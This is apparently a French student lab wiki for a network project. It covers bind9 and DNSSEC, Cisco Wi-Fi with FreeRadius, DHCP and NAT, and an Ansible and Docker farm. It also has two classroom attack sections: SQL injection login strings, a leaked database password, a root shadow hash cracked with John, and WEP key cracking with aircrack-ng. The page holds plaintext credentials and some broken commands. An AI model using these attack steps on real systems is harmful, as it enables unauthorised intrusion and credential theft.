=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
===Architecture générale de la ferme===&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles, l'une sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA), l'autre sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (commande &amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt; avant de la relancer.&lt;br /&gt;
&lt;br /&gt;
'''Interfaces'''&lt;br /&gt;
&lt;br /&gt;
On associe l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt; à la VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;. Pour cela on l'ajoute dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 auto eth1&lt;br /&gt;
 iface eth1 inet static&lt;br /&gt;
   address 192.168.42.21 &lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on ajoute une interface dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
   address 192.168.42.7&lt;br /&gt;
   netmask 255.255.255.0 &lt;br /&gt;
   gateway 192.168.42.21&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mascarade'''&lt;br /&gt;
&lt;br /&gt;
On met en place une mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
'''Mise en place d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Inventaire'''&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
'''Playbook et roles'''&lt;br /&gt;
&lt;br /&gt;
On va créer plusieurs rôles qui seront lancés via un playbook (&amp;lt;code&amp;gt;/root/playbooks/&amp;lt;/code&amp;gt;). Chaque rôle à son propre sous-répertoire (&amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;basic&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;files&amp;lt;/code&amp;gt; qui contient la configuration mymotd_conf et ntp.conf&lt;br /&gt;
** mymotd_conf : On met ce que l'on veut afficher dedans&lt;br /&gt;
** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP&lt;br /&gt;
 # You do need to talk to an NTP server or two (or three).&lt;br /&gt;
 #server ntp.your-provider.example&lt;br /&gt;
 server ntp.plil.info&lt;br /&gt;
 ...&lt;br /&gt;
 # Local users may interrogate the ntp server more closely.&lt;br /&gt;
 restrict 127.0.0.1&lt;br /&gt;
 restrict ::1&lt;br /&gt;
 restrict 192.168.42.21&lt;br /&gt;
 restrict 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : gestion packages&lt;br /&gt;
   apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{{ packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
     packages:&lt;br /&gt;
      - python3&lt;br /&gt;
      - python3-pip&lt;br /&gt;
      - ntpdate&lt;br /&gt;
      - ntp&lt;br /&gt;
 &lt;br /&gt;
 - name : gestion packages pip&lt;br /&gt;
   pip:&lt;br /&gt;
      name:&lt;br /&gt;
         - docker&lt;br /&gt;
 - name: lien symbolique&lt;br /&gt;
   command: ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
 &lt;br /&gt;
 - name: motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/mymotd_conf&lt;br /&gt;
      dest: /etc/motd&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644' &lt;br /&gt;
&lt;br /&gt;
 - name: config ntp&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/ntp.conf&lt;br /&gt;
      dest: /etc/ntp.conf&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce rôle permet de configurer le motd et le NTP. Il permet également d'installer les packages nécessaires.&lt;br /&gt;
&lt;br /&gt;
===Installation de &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
On installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; par l'intermédiaire du playbook sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;. Pour cela on utilise un rôle déjà créé par &amp;lt;code&amp;gt;geerlingguy&amp;lt;/code&amp;gt;. Les variables docker_&amp;lt;code&amp;gt;apt_gpg_key&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker_apt_repository&amp;lt;/code&amp;gt; permettent que le rôle se comporte comme si la VM est sous debian version buster.&lt;br /&gt;
&lt;br /&gt;
'''Playbook &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot; &lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;br /&gt;
&lt;br /&gt;
On met en place un conteneur qui contient notre site web et démarre apache2 sur le port 80.&lt;br /&gt;
En premier lieu on installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec &amp;lt;code&amp;gt;wget get.docker.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Dockerfile'''&lt;br /&gt;
&lt;br /&gt;
Il faut ensuite réaliser un &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt; toujours sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; :&lt;br /&gt;
 FROM httpd:latest&lt;br /&gt;
 MAINTAINER NourClara&lt;br /&gt;
 COPY ./index.html /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [ &amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot; ]&lt;br /&gt;
